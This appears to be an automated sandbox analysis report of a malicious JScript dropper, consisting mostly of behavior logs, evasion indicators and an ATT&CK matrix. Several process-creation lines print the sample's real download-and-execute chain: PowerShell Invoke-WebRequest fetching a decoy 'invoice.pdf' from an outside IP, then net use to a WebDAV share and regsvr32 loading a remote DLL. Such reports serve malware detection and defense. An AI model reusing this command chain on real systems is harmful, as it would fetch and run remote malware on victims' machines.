Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1806.js.csv");ITextStream.WriteLine(" entry:8265 f:mlalqpc");ITextStream.WriteLine(" exec:2 f:mlalqpc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4140			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4891			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 516	Thread sleep count: 4140 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 516	Thread sleep count: 4891 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 64	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4232	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3192	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7196	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2279833619.000001C431ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2281462816.000001C431F3C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2264433970.000001C431F3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3505766675.0000021A5DA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3507281755.0000021A6305A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
